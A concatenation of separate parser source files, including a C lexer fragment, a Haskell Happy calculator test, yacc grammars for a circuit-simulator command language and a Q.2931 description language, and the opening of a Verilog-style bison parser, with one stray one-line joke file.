present. */ str = FindKeyword(str); for (owk = NULL, wlk = CSP->Context->Context; wlk; wlk = (owk = wlk)->Next) if (str == wlk->Context->Name){ if (owk){ owk->Next = wlk->Next; wlk->Next = CSP->Context->Context; CSP->Context->Context = wlk; } /* * If a single context, make sure it isn't already used. */ if (wlk->u.Single && 0){ register UsedCar *usc; for (usc = CSP->u.Used; usc; usc = usc->Next) if (usc->Code == wlk->Context->Code) break; if (usc && bug<2){ sprintf(CharBuf,"'%s' is Used more than once within '%s'", str,CSP->Context->Name); yyerror(CharBuf); } else { usc = (UsedCar *) Malloc(sizeof(UsedCar)); usc->Next = CSP->u.Used; (CSP->u.Used = usc)->Code = wlk->Context->Code; } } /* * Push the new context. */ owk = (ContextCar *) Malloc(sizeof(ContextCar)); owk->Next = CSP; (CSP = owk)->Context = wlk->Context; owk->u.Used = NULL; return (wlk->Context->Code); } return (0); } /* * PopC: * * This pops the current context. */ PopC() { register UsedCar *usc; register ContextCar *csp; /* * Release single markers and pop context. */ while (usc = CSP->u.Used){ CSP->u.Used = usc->Next; Free(usc); } csp = CSP->Next; Free(CSP); CSP = csp; } /* * Lexical analyzer states. */ #define L_START 0 #define L_INT 1 #define L_IDENT 2 #define L_KEYWORD 3 #define L_STRING 4 #define L_KEYWORD2 5 #define L_ASCIICHAR 6 #define L_ASCIICHAR2 7 /* * yylex: * * This is the lexical analyzer called by the YACC/BISON parser. * It returns a pretty restricted set of token types and does the * context movement when acceptable keywords are found. The token * value returned is a NULL terminated string to allocated storage * (ie - it should get released some time) with some restrictions. * The token value for integers is strips a leading '+' if present. * String token values have the leading and trailing '"'-s stripped. * '%' conversion characters in string values are passed converted. * The '(' and ')' characters do not have a token value. */ int yylex() { extern YYSTYPE yylval; struct st *st; register int c,s,l,len; /* * Keep on sucking up characters until we find something which * explicitly forces us out of this function. */ for (s = L_START, l = 0; 1; ){ c = Getc(Input); if( c !='&' ) yytext[l++] = c; if (c == '\n' && s==L_START){ LineNumber++ ; } switch (s){ case L_START: if (isdigit(c) || c == '-') s = L_INT; else if (isalpha(c)|| c=='&' ) s = L_IDENT; else if (isspace(c)) l = 0; else if (c == '('){ l = 0; s = L_KEYWORD; } else if (c == '"') s = L_STRING; else if (c == '+'){ l = 0; /* strip '+' */ s = L_INT; } else if (c == EOF) return ('\0'); else { yytext[1] = '\0'; Stack(yytext, c); return (c); } break; /* * Suck up the integer digits. */ case L_INT: if (isdigit(c)) break; Ungetc(c); yytext[--l] = '\0'; // yylval.s = strcpy((char *)Malloc(l + 1),yytext); st = (struct st *)Malloc(sizeof (struct st)); st->s = strdup(yytext); st->nxt=NULL; yylval.st = st ; Stack(yytext, INT); return (INT); /* * Grab an identifier, see if the current context enables * it with a specific token value. */ case L_IDENT: if (isalpha(c) || isdigit(c) || c == '_') break; Ungetc(c); yytext[--l] = '\0'; if (CSP->Context->Token && (c = MatchToken(yytext))){ Stack(yytext, c); return (c); } // yylval.s = strcpy((char *)Malloc(l + 1),yytext); // st->s = strdup(yytext); st = (struct st *)Malloc(sizeof (struct st)); if(l>0 && st != NULL){ st->s = (char *)Malloc(l + 1); st->nxt=NULL; // fprintf(stderr,"l %d st %x st.s %x yytext '%s'\n",l,st,st->s,yytext); strcpy(st->s, yytext); yylval.st = st ; } Stack(yytext, IDENT); return (IDENT); /* * Scan until you find the start of an identifier, discard * any whitespace found. On no identifier, return a '('. */ case L_KEYWORD: if (isalpha(c) || c == '&'){ s = L_KEYWORD2; break; } else if (isspace(c)){ l = 0; break; } Ungetc(c); Stack("(",'('); return ('('); /* * Suck up the keyword identifier, if it matches the set of * allowable contexts then return its token value and push * the context, otherwise just return the identifier string. */ case L_KEYWORD2: if (isalpha(c) || isdigit(c) || c == '_') break; Ungetc(c); yytext[--l] = '\0'; if (c = MatchContext(yytext)){ Stack(yytext, c); return (c); } // yylval.s = strcpy((char *)Malloc(l + 1),yytext); st = (struct st *)Malloc(sizeof (struct st)); st->s = strdup(yytext); st->nxt=NULL; yylval.st = st ; Stack(yytext, KEYWORD); return (KEYWORD); /* * Suck up string characters but once resolved they should * be deposited in the string bucket because they can be * arbitrarily long. */ case L_STRING: if (c == '\r' || c == '\n') ; else if (c == '"' || c == EOF){ st = (struct st *)Malloc(sizeof (struct st)); st->s = FormString(); st->nxt=NULL; // st->s = strdup(yytext); yylval.st = st ; Stack(yytext, STR); return (STR); // } else if (c == '%'){ // fwb // s = L_ASCIICHAR; } else if (c == ' ') PushString('_'); else PushString(c); l = 0; break; /* * Skip white space and look for integers to be pushed * as characters. */ case L_ASCIICHAR: if (isdigit(c)){ s = L_ASCIICHAR2; break; } else if (c == '%' || c == EOF) s = L_STRING; l = 0; break; /* * Convert the accumulated integer into a char and push. */ case L_ASCIICHAR2: if (isdigit(c)) break; Ungetc(c); yytext[--l] = '\0'; PushString(yytext); s = L_ASCIICHAR; l = 0; break; } } }
<reponame>seni/happy-vhdl -- Testing %monad without %lexer, using the IO monad. { module Main where import IO import Char } %name calc %tokentype { Token } %token num { TokenNum $$ } '+' { TokenPlus } '-' { TokenMinus } '*' { TokenTimes } '/' { TokenDiv } '^' { TokenExp } '\n' { TokenEOL } '(' { TokenOB } ')' { TokenCB } %left '-' '+' %left '*' %nonassoc '/' %left NEG -- negation--unary minus %right '^' -- exponentiation %monad { IO } { (>>=) } { return } %% input : {- empty string -} { () } | input line { $1 } line : '\n' { () } | exp '\n' {% hPutStr stdout (show $1) } exp : num { $1 } | exp '+' exp { $1 + $3 } | exp '-' exp { $1 - $3 } | exp '*' exp { $1 * $3 } | exp '/' exp { $1 / $3 } | '-' exp %prec NEG { -$2 } -- | exp '^' exp { $1 ^ $3 } | '(' exp ')' { $2 } { main = do calc (lexer "1 + 2 * 3 / 4\n") {- -- check that non-associative operators can't be used together r <- try (calc (lexer "1 / 2 / 3")) case r of Left e -> return () Right _ -> ioError (userError "fail!") -} data Token = TokenExp | TokenEOL | TokenNum Double | TokenPlus | TokenMinus | TokenTimes | TokenDiv | TokenOB | TokenCB -- and a simple lexer that returns this datastructure. lexer :: String -> [Token] lexer [] = [] lexer ('\n':cs) = TokenEOL : lexer cs lexer (c:cs) | isSpace c = lexer cs | isDigit c = lexNum (c:cs) lexer ('+':cs) = TokenPlus : lexer cs lexer ('-':cs) = TokenMinus : lexer cs lexer ('*':cs) = TokenTimes : lexer cs lexer ('/':cs) = TokenDiv : lexer cs lexer ('^':cs) = TokenExp : lexer cs lexer ('(':cs) = TokenOB : lexer cs lexer (')':cs) = TokenCB : lexer cs lexNum cs = TokenNum (read num) : lexer rest where (num,rest) = span isNum cs isNum c = isDigit c || c == '.' happyError tokens = ioError (userError "parse error") }
%{ /* * ISC License * * Copyright (C) 1990-2018 by * <NAME> * <NAME> * <NAME> * Delft University of Technology * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ /* This file is a copy from sls but it has been stripped and modified */ #include "src/nspice/define.h" #include "src/nspice/type.h" #include "src/nspice/extern.h" #define MAXHIERAR 22 #define MAXSTACKLENGTH 100 char name_space[128]; /* memory space for a name */ PATH_SPEC pathspace[MAXHIERAR]; /* memory space for paths */ PATH_SPEC *fullpath; /* first of the current full path specification */ PATH_SPEC *last_path = NULL; /* last of the current full path specification */ STRING_REF *begin_str_list, *end_str_list; STRING_REF *names_from_path (int traillen, PATH_SPEC *path); // res.c int sigcon; /* boolean flag */ short lastval; int *len_sp; int len_stack[MAXSTACKLENGTH]; SIGNALELEMENT **sgn_sp; SIGNALELEMENT *sgn_stack[MAXSTACKLENGTH]; struct node *Begin_node, *End_node; struct node_ref *Begin_print, *End_print; char *fn_cmd; int sigendless; int simperiod; int simlevel; int idummy; char *cdummy; double ddummy; double sigunit; double vhigh_vh; int vhigh_vh_spec = 0; extern int yylineno; char *textval (void); // cmd_l.l void assignExprToNodes (void); void yyerror (char *s); %} %union { int ival; int *pival; char *sval; char **psval; double dval; double *pdval; SIGNALELEMENT *signal; PATH_SPEC *pathsp; } %token SET TILDE FROM FILL WITH PRINT PLOT OPTION SIMPERIOD DUMP AT %token DISSIPATION INITIALIZE SIGOFFSET RACES DEVICES STATISTICS %token ONLY CHANGES SLS_PROCESS SIGUNIT OUTUNIT OUTACC MAXPAGEWIDTH %token MAXNVICIN MAXTVICIN MAXLDEPTH VH VMAXL VMINH %token TDEVMIN TDEVMAX STEP DISPERIOD RANDOM FULL DEFINE_TOKEN %token STA_FILE DOT DOTDOT LPS RPS LSB RSB LCB RCB EQL MINUS DOLLAR %token COMMA SEMICOLON COLON MULT EXCLAM NEWLINE %token <ival> LEVEL LOGIC_LEVEL TOGGLE %token <sval> IDENTIFIER INT STRING %token <dval> POWER_TEN F_FLO %type <ival> duration index integer %type <dval> f_float %type <pdval> f_float_option %type <sval> member_name %type <signal> value signal_exp value_exp %type <pathsp> ref_item %% sim_cmd_list : sim_cmd | sim_cmd_list eoc sim_cmd | error eoc sim_cmd { yyerrok; last_path = NULL; } ; sim_cmd : set_cmd | print_cmd | plot_cmd | dump_cmd | dissip_cmd | init_cmd | fill_cmd | define_cmd | option_cmd | /* empty */ ; set_cmd : SET node_refs EQL signal_exp { assignExprToNodes (); len_sp = len_stack; /* reset stacks for signal_exp */ sgn_sp = sgn_stack; } | SET node_refs COLON node_refs FROM STRING { yyerror ("warning: unsupported set command"); } ; signal_exp : value_exp { *++len_sp = $1 -> len; $$ = *sgn_sp++ = $1; } | signal_exp value_exp { if ($2 -> len < 0) *len_sp = -1; else *len_sp += $2 -> len; $1 -> sibling = $2; $$ = $2; } ; value_exp : value { /* default duration 1 unit */ $$ = $1; if ($1 -> child) $$ -> len = $1 -> child -> len; else $$ -> len = 1; } | value MULT duration { $$ = $1; if ($1 -> child) $$ -> len = $1 -> child -> len * $3; else $$ -> len = $3; if (sigcon && $3 < 0) sigendless = TRUE; } ; value : LOGIC_LEVEL { NEW ($$, 1, SIGNALELEMENT); lastval = $$ -> val = $1; sigcon = FALSE; } | LPS signal_exp RPS { NEW ($$, 1, SIGNALELEMENT); NEW ($$ -> child, 1, SIGNALELEMENT); $$ -> child -> sibling = *--sgn_sp; $$ -> val = $$ -> child -> val = lastval; $$ -> child -> len = *len_sp--; sigcon = TRUE; } ; duration : integer { $$ = $1; } | TILDE { $$ = -1; } ; print_cmd : PRINT node_refs ; plot_cmd : PLOT node_refs { STRING_REF *sref; for (sref = begin_str_list; sref; sref = sref -> next) { if (!Begin_print) { NEW (Begin_print, 1, struct node_ref); End_print = Begin_print; } else { NEW (End_print -> next, 1, struct node_ref); End_print = End_print -> next; } End_print -> name = sref -> str; End_print -> next = NULL; } } ; dissip_cmd : DISSIPATION dis_node_refs ; dis_node_refs : node_refs | /* empty */ ; node_refs : ref_item { begin_str_list = NULL; if ($1) { if (begin_str_list) { end_str_list -> next = names_from_path (0, fullpath); while (end_str_list -> next) end_str_list = end_str_list -> next; } else { begin_str_list = end_str_list = names_from_path (0, fullpath); while (end_str_list -> next) end_str_list = end_str_list -> next; } } } | node_refs ref_item { if ($2) { if (begin_str_list) { end_str_list -> next = names_from_path (0, fullpath); while (end_str_list -> next) end_str_list = end_str_list -> next; } else { begin_str_list = end_str_list = names_from_path (0, fullpath); while (end_str_list -> next) end_str_list = end_str_list -> next; } } } ; ref_item : full_node_ref { $$ = fullpath; last_path = NULL; /* for the next call */ } | COMMA { $$ = NULL; } ; full_node_ref : member_ref | EXCLAM member_ref | full_node_ref DOT member_ref ; member_ref : member_name { if (last_path == NULL) { /* this is the leftmost (the first) member of a path */ last_path = pathspace; fullpath = last_path; } else { last_path -> next = last_path + 1; last_path = last_path -> next; } last_path -> next = NULL; last_path -> also = NULL; strcpy (last_path -> name, $1); } ref_indices ; member_name : INT { strcpy (name_space, $1); /* copying is necessary */ $$ = name_space; } | IDENTIFIER { strcpy (name_space, $1); $$ = name_space; } | keyword { strcpy (name_space, textval ()); $$ = name_space; } ; keyword : SET | LEVEL { idummy = $1; } | LOGIC_LEVEL { idummy = $1; } | FROM | FILL | WITH | PRINT | PLOT | OPTION | SIMPERIOD | DISPERIOD | DISSIPATION | DUMP | AT | INITIALIZE | SIGOFFSET | RACES | DEVICES | STATISTICS | ONLY | CHANGES | SLS_PROCESS | SIGUNIT | OUTUNIT | OUTACC | MAXPAGEWIDTH | MAXNVICIN | MAXTVICIN | MAXLDEPTH | VH | VMAXL | VMINH | TDEVMIN | TDEVMAX | TOGGLE { idummy = $1; } | STEP | RANDOM | FULL | DEFINE_TOKEN | STA_FILE ; ref_indices : /* empty */ { last_path -> xarray[0][0] = 0; } | LSB { last_path -> xarray[0][0] = 0; } index_list RSB ; index_list : index { idummy = $1; } | index_list COMMA index { idummy = $3; } ; index : integer { last_path -> xarray[0][0]++; last_path -> xarray[last_path -> xarray[0][0]][0] = $1; last_path -> xarray[last_path -> xarray[0][0]][1] = $1; } | integer DOTDOT integer { last_path -> xarray[0][0]++; last_path -> xarray[last_path -> xarray[0][0]][0] = $1; last_path -> xarray[last_path -> xarray[0][0]][1] = $3; } ; option_cmd : OPTION option | option_cmd option ; option : toggle_option EQL TOGGLE | SIMPERIOD EQL INT { simperiod = atoi ($3); } | LEVEL EQL INT { simlevel = atoi ($3); } | int_option EQL INT | pow_ten_option EQL pow_ten | f_float_option EQL f_float { if ($1) *$1 = $3; } | string_option EQL STRING ; toggle_option : STEP | PRINT RACES | ONLY CHANGES | PRINT DEVICES | PRINT STATISTICS | INITIALIZE RANDOM | INITIALIZE FULL RANDOM | STA_FILE ; int_option : DISPERIOD | MAXNVICIN | MAXTVICIN | MAXLDEPTH | MAXPAGEWIDTH | SIGOFFSET ; pow_ten_option : OUTUNIT | OUTACC ; pow_ten : INT | POWER_TEN ; f_float_option : SIGUNIT { $$ = &sigunit; } | VH { $$ = &vhigh_vh; vhigh_vh_spec = 1; } | VMAXL { $$ = NULL; } | VMINH { $$ = NULL; } | TDEVMIN { $$ = NULL; } | TDEVMAX { $$ = NULL; } ; f_float : INT { $$ = atof ($1); } | POWER_TEN { $$ = $1; } | F_FLO { $$ = $1; } ; string_option : SLS_PROCESS ; dump_cmd : DUMP AT integer ; init_cmd : INITIALIZE FROM STRING ; fill_cmd : FILL full_node_ref WITH fillvals ; fillvals : fillchars | fillvals fillchars | fillint | fillvals fillint | fillfloat | fillvals fillfloat ; fillchars : STRING { cdummy = $1; } ; fillint : integer { idummy = $1; } ; fillfloat : F_FLO { ddummy = $1; } ; define_cmd : DEFINE_TOKEN node_refs COLON member_name define_entries ; define_entries : define_entry | define_entries define_entry ; define_entry : def_sig_vals COLON escape_char member_name ; escape_char : DOLLAR | /* empty */ ; def_sig_vals : def_sig_val | def_sig_vals def_sig_val ; def_sig_val : LOGIC_LEVEL { idummy = $1; } | MINUS ; integer : INT { $$ = atoi ($1); } ; eoc : SEMICOLON | NEWLINE ; %% void cmdinits () { len_sp = len_stack; sgn_sp = sgn_stack; sigendless = FALSE; simperiod = -1; sigunit = -1; Begin_node = End_node = NULL; Begin_print = End_print = NULL; } void cslserror (char *s1, char *s2) { char buf[264]; int lineno = yylineno; if (yychar == NEWLINE) lineno--; sprintf (buf, "%s, line %d: %s %s", fn_cmd, lineno, s1, s2); message (buf, 0, 0); } void yyerror (char *s) { cslserror (s, ""); } void assignExprToNodes () { STRING_REF *str_ref; struct node *n; SIGNALELEMENT *sgn; NEW (sgn, 1, SIGNALELEMENT); sgn -> sibling = *--sgn_sp; sgn -> val = lastval; sgn -> len = *len_sp; for (str_ref = begin_str_list; str_ref; str_ref = str_ref -> next) { /* perform linear search to find node */ n = Begin_node; while (n && !strsame (str_ref -> str, n -> name)) n = n -> next; /* add expression to current expression of node or create new node */ if (n) { cslserror ("signal already attached to node", n -> name); } else { NEW (n, 1, struct node); n -> name = str_ref -> str; n -> expr = sgn; n -> next = NULL; if (End_node) { End_node -> next = n; End_node = n; } else { Begin_node = End_node = n; } } } } int yywrap () { return (1); }
%{ /* ql.y - Q.2931 data structures description language */ /* Written 1995-1997 by <NAME>, EPFL-LRC */ #if HAVE_CONFIG_H #include <config.h> #endif #include <stdlib.h> #include <stdio.h> #include <string.h> #include <ctype.h> #include <limits.h> #include "common.h" #include "qgen.h" #include "file.h" #define MAX_TOKEN 256 #define DEFAULT_NAMELIST_FILE "default.nl" FIELD *def = NULL; static STRUCTURE *structures = NULL; static const char *abort_id; /* indicates abort flag */ static NAME_LIST *get_name_list(const char *name) { static NAME_LIST *name_lists = NULL; FILE *file; NAME_LIST *list; NAME *last,*this; char line[MAX_TOKEN+1]; char path[PATH_MAX+1]; char *start,*here,*walk; int searching,found; for (list = name_lists; list; list = list->next) if (list->list_name == name) return list; sprintf(path,"%s.nl",name); if (!(file = fopen(path,"r")) && !(file = fopen(strcpy(path, DEFAULT_NAMELIST_FILE),"r"))) yyerror("can't open list file"); list = alloc_t(NAME_LIST); list->list_name = name; list->list = last = NULL; list->id = -1; list->next = name_lists; name_lists = list; searching = 1; found = 0; while (fgets(line,MAX_TOKEN,file)) { for (start = line; *start && isspace(*start); start++); if (!*start || *start == '#') continue; if ((here = strchr(start,'\n'))) *here = 0; for (walk = strchr(start,0)-1; walk > start && isspace(*walk); walk--) *walk = 0; if (*start == ':') { if (!(searching = strcmp(start+1,name))) if (found) yyerror("multiple entries"); else found = 1; continue; } if (searching) continue; if (!(here = strchr(start,'='))) yyerror("invalid name list"); *here++ = 0; for (walk = here-2; walk > start && isspace(*walk); walk--) *walk = 0; while (*here && isspace(*here)) here++; this = alloc_t(NAME); this->value = stralloc(start); this->name = stralloc(here); this->next = NULL; if (last) last->next = this; else list->list = this; last = this; } (void) fclose(file); if (!found) yyerror("no symbol list entry found"); return list; } static FIELD *copy_block(FIELD *orig_field) { FIELD *copy,**new_field; copy = NULL; new_field = &copy; while (orig_field) { *new_field = alloc_t(FIELD); **new_field = *orig_field; if (orig_field->value) { (*new_field)->value = alloc_t(VALUE); *(*new_field)->value = *orig_field->value; switch (orig_field->value->type) { case vt_length: (*new_field)->value->block = copy_block(orig_field->value->block); break; case vt_case: case vt_multi: { TAG *orig_tag,**new_tag; new_tag = &(*new_field)->value->tags; for (orig_tag = orig_field->value->tags; orig_tag; orig_tag = orig_tag->next) { VALUE_LIST *orig_value,**new_value; *new_tag = alloc_t(TAG); **new_tag = *orig_tag; new_value = &(*new_tag)->more; for (orig_value = orig_tag->more; orig_value; orig_value = orig_value->next) { *new_value = alloc_t(VALUE_LIST); **new_value = *orig_value; new_value = &(*new_value)->next; } (*new_tag)->block = copy_block(orig_tag->block); new_tag = &(*new_tag)->next; } } } } if (orig_field->structure) yyerror("sorry, can't handle nested structures"); new_field = &(*new_field)->next; orig_field = orig_field->next; } return copy; } %} %union { const char *str; int num; FIELD *field; VALUE *value; VALUE_LIST *list; TAG *tag; NAME_LIST *nlist; }; %token TOK_BREAK TOK_CASE TOK_DEF TOK_DEFAULT TOK_LENGTH TOK_MULTI %token TOK_RECOVER TOK_ABORT %token <str> TOK_ID TOK_INCLUDE TOK_STRING %type <field> rep_block block fields field field_cont %type <num> opt_break opt_pos decimal opt_more %type <value> opt_val value %type <tag> tags rep_tags %type <list> list %type <str> opt_id opt_recover %type <nlist> opt_name_list %% all: includes structures block { STRUCTURE *walk; def = $3; for (walk = structures; walk; walk = walk->next) if (!walk->instances) fprintf(stderr,"unused structure: %s\n",walk->id); } ; includes: | TOK_INCLUDE includes { to_c("#%s\n",$1); to_test("#%s\n",$1); if (dump) to_dump("#%s\n",$1); } ; structures: | structures structure ; structure: TOK_DEF TOK_ID '=' block { STRUCTURE *n; n = alloc_t(STRUCTURE); n->id = $2; n->block = $4; n->instances = 0; n->next = structures; structures = n; } ; rep_block: { abort_id = NULL; } block { $$ = $2; } ; block: TOK_ID { STRUCTURE *walk; for (walk = structures; walk; walk = walk->next) if (walk->id == $1) break; if (!walk) yyerror("no such structure"); walk->instances++; $$ = alloc_t(FIELD); $$->id = NULL; $$->name_list = NULL; $$->value = NULL; $$->brk = 0; $$->structure = walk; $$->my_block = copy_block(walk->block); $$->next = NULL; abort_id = NULL; } | '{' fields '}' { $$ = $2; abort_id = NULL; } | TOK_ABORT TOK_ID { $$ = NULL; abort_id = $2; } ; fields: { $$ = NULL; } | field fields { $$ = $1; $1->next = $2; } ; field: opt_break TOK_ID opt_name_list '<' field_cont { TAG *walk; $$ = $5; $$->name_list = $3; $$->brk = $1; $$->id = $2; if ($$->var_len == -2) { if (*$$->id == '_') yyerror("var-len field must be named"); } else if (*$$->id == '_' && !$$->value) yyerror("unnamed fields must have value"); if (*$$->id == '_' && $$->value && $$->value->type == vt_case) for (walk = $$->value->tags; walk; walk = walk->next) if (walk->more) yyerror("value list only allowed in named case " "selections"); if (*$$->id != '_' && $$->value && $$->value->type == vt_multi) yyerror("multi selectors must be unnamed"); } ; opt_break: { $$ = 0; } | TOK_BREAK { $$ = 1; } ; field_cont: '-' decimal '>' { $$ = alloc_t(FIELD); $$->size = $2; $$->var_len = -2; /* hack */ if ($2 & 7) yyerror("var-len field must have integral size"); $$->pos = 0; $$->flush = 1; $$->value = NULL; $$->structure = NULL; $$->next = NULL; } | decimal opt_pos opt_more '>' opt_val { $$ = alloc_t(FIELD); $$->size = $1; $$->var_len = -1; $$->pos = $2; $$->flush = !$3; if ($$->pos == -1) if ($$->size & 7) yyerror("position required for small fields"); else $$->pos = 0; $$->value = $5; $$->structure = NULL; $$->next = NULL; } ; opt_pos: { $$ = -1; } | '@' decimal { $$ = $2-1; if ($$ < 0 || $$ > 7) yyerror("invalid position"); } ; decimal: TOK_ID { char *end; $$ = strtoul($1,&end,10); if (*end) yyerror("no a decimal number"); } ; opt_more: { $$ = 0; } | ',' TOK_ID { if (strcmp($2,"more")) yyerror("\"more\" expected"); $$ = 1; } ; opt_val: { $$ = NULL; } | '=' value { $$ = $2; } ; value: TOK_ID { $$ = alloc_t(VALUE); $$->type = vt_id; $$->id = $1; } | TOK_CASE '{' tags '}' { $$ = alloc_t(VALUE); $$->type = vt_case; $$->id = NULL; $$->tags = $3; } | TOK_MULTI '{' rep_tags '}' { $$ = alloc_t(VALUE); $$->type = vt_multi; $$->tags = $3; } | opt_recover TOK_LENGTH block { $$ = alloc_t(VALUE); $$->type = vt_length; $$->recovery = $1; $$->block = $3; $$->abort_id = abort_id; } ; opt_recover: { $$ = NULL; } | TOK_RECOVER TOK_ID { $$ = $2; } ; opt_name_list: { $$ = NULL; } | TOK_STRING { $$ = get_name_list($1); } ; tags: { $$ = NULL; } | TOK_DEFAULT TOK_ID opt_id list block { $$ = alloc_t(TAG); $$->deflt = 1; if ($3) { $$->id = $2; $$->value = $3; } else { $$->id = NULL; $$->value = $2; } $$->more = $4; $$->block = $5; $$->next = NULL; $$->abort_id = abort_id; } | TOK_ID opt_id list block { $$ = alloc_t(TAG); $$->abort_id = abort_id; } tags { $$ = $<tag>5; $$->deflt = 0; if ($2) { $$->id = $1; $$->value = $2; } else { $$->id = NULL; $$->value = $1; } $$->more = $3; $$->block = $4; $$->next = $6; } ; rep_tags: { $$ = NULL; } | TOK_DEFAULT TOK_ID opt_id list rep_block { $$ = alloc_t(TAG); $$->deflt = 1; if ($3) { $$->id = $2; $$->value = $3; } else { $$->id = NULL; $$->value = $2; } $$->more = $4; $$->block = $5; $$->next = NULL; } | TOK_ID opt_id list rep_block { $$ = alloc_t(TAG); $$->abort_id = abort_id; } rep_tags { $$ = $<tag>5; $$->deflt = 0; if ($2) { $$->id = $1; $$->value = $2; } else { $$->id = NULL; $$->value = $1; } $$->more = $3; $$->block = $4; $$->next = $6; } ; opt_id: { $$ = NULL; } | ':' TOK_ID { $$ = $2; } ; list: { $$ = NULL; } | ',' TOK_ID list { $$ = alloc_t(VALUE_LIST); $$->value = $2; $$->next = $3; } ;
<gh_stars>0 show me what you got "Fuck You Github"
%{ /* * Copyright (c) 1998-2012 <NAME> (<EMAIL>) * * This source code is free software; you can redistribute it * and/or modify it in source code form under the terms of the GNU * General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA */ # include "config.h" # include "parse_misc.h" # include "compiler.h" # include "pform.h" # include "Statement.h" # include "PSpec.h" # include "sectypes.h" # include <stack> # include <cstring> # include <sstream> class PSpecPath; extern void lex_start_table(); extern void lex_end_table(); static svector<PExpr*>* param_active_range = 0; static bool param_active_signed = false; static ivl_variable_type_t param_active_type = IVL_VT_LOGIC; /* Port declaration lists use this structure for context. */ static struct { NetNet::Type port_net_type; NetNet::PortType port_type; ivl_variable_type_t var_type; SecType*sectype; bool sign_flag; svector<PExpr*>* range; } port_declaration_context = {NetNet::NONE, NetNet::NOT_A_PORT, IVL_VT_NO_TYPE, new ConstType(), false, 0}; /* The task and function rules need to briefly hold the pointer to the task/function that is currently in progress. */ static PTask* current_task = 0; static PFunction* current_function = 0; static stack<PBlock*> current_block_stack; /* This is used to keep track of the extra arguments after the notifier * in the $setuphold and $recrem timing checks. This allows us to print * a warning message that the delayed signals will not be created. We * need to do this since not driving these signals creates real * simulation issues. */ static unsigned args_after_notifier; /* Later version of bison (including 1.35) will not compile in stack extension if the output is compiled with C++ and either the YYSTYPE or YYLTYPE are provided by the source code. However, I can get the old behavior back by defining these symbols. */ # define YYSTYPE_IS_TRIVIAL 1 # define YYLTYPE_IS_TRIVIAL 1 /* Recent version of bison expect that the user supply a YYLLOC_DEFAULT macro that makes up a yylloc value from existing values. I need to supply an explicit version to account for the text field, that otherwise won't be copied. */ # define YYLLOC_DEFAULT(Current, Rhs, N) do { \ (Current).first_line = (Rhs)[1].first_line; \ (Current).first_column = (Rhs)[1].first_column; \ (Current).last_line = (Rhs)[N].last_line; \ (Current).last_column = (Rhs)[N].last_column; \ (Current).text = (Rhs)[1].text; } while (0) /* * These are some common strength pairs that are used as defaults when * the user is not otherwise specific. */ const static struct str_pair_t pull_strength = { PGate::PULL, PGate::PULL }; const static struct str_pair_t str_strength = { PGate::STRONG, PGate::STRONG }; static list<pair<perm_string,PExpr*> >* make_port_list(char*id, PExpr*expr) { list<pair<perm_string,PExpr*> >*tmp = new list<pair<perm_string,PExpr*> >; tmp->push_back(make_pair(lex_strings.make(id), expr)); delete[]id; return tmp; } static list<pair<perm_string,PExpr*> >* make_port_list(list<pair<perm_string, PExpr*> >*tmp, char*id, PExpr*expr) { tmp->push_back(make_pair(lex_strings.make(id), expr)); delete[]id; return tmp; } static list<perm_string>* list_from_identifier(char*id) { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make(id)); delete[]id; return tmp; } static list<perm_string>* list_from_identifier(list<perm_string>*tmp, char*id) { tmp->push_back(lex_strings.make(id)); delete[]id; return tmp; } static svector<PExpr*>* copy_range(svector<PExpr*>* orig) { svector<PExpr*>*copy = 0; if (orig) { copy = new svector<PExpr*>(2); (*copy)[0] = (*orig)[0]; (*copy)[1] = (*orig)[1]; } return copy; } template <class T> void append(vector<T>&out, const vector<T>&in) { for (size_t idx = 0 ; idx < in.size() ; idx += 1) out.push_back(in[idx]); } /* * This is a shorthand for making a PECallFunction that takes a single * arg. This is used by some of the code that detects built-ins. */ static PECallFunction*make_call_function(perm_string tn, PExpr*arg) { svector<PExpr*> parms(1); parms[0] = arg; PECallFunction*tmp = new PECallFunction(tn, parms); return tmp; } static PECallFunction*make_call_function(perm_string tn, PExpr*arg1, PExpr*arg2) { svector<PExpr*> parms(2); parms[0] = arg1; parms[1] = arg2; PECallFunction*tmp = new PECallFunction(tn, parms); return tmp; } %} %union { bool flag; char letter; /* text items are C strings allocated by the lexor using strdup. They can be put into lists with the texts type. */ char*text; list<perm_string>*perm_strings; list<pair<perm_string,PExpr*> >*port_list; pform_name_t*pform_name; ivl_discipline_t discipline; hname_t*hier; list<string>*strings; struct str_pair_t drive; PCase::Item*citem; svector<PCase::Item*>*citems; lgate*gate; svector<lgate>*gates; Module::port_t *mport; LexicalScope::range_t* value_range; vector<Module::port_t*>*mports; named_pexpr_t*named_pexpr; svector<named_pexpr_t*>*named_pexprs; struct parmvalue_t*parmvalue; PExpr*expr; svector<PExpr*>*exprs; svector<PEEvent*>*event_expr; NetNet::Type nettype; PGBuiltin::Type gatetype; NetNet::PortType porttype; ivl_variable_type_t datatype; PWire*wire; svector<PWire*>*wires; PEventStatement*event_statement; Statement*statement; svector<Statement*>*statement_list; PTaskFuncArg function_type; net_decl_assign_t*net_decl_assign; verinum* number; verireal* realtime; PSpecPath* specpath; list<index_component_t> *dimensions; SecType*sectype; }; %token <text> IDENTIFIER SYSTEM_IDENTIFIER STRING %token <discipline> DISCIPLINE_IDENTIFIER %token <text> PATHPULSE_IDENTIFIER %token <number> BASED_NUMBER DEC_NUMBER %token <realtime> REALTIME %token K_LE K_GE K_EG K_EQ K_NE K_CEQ K_CNE 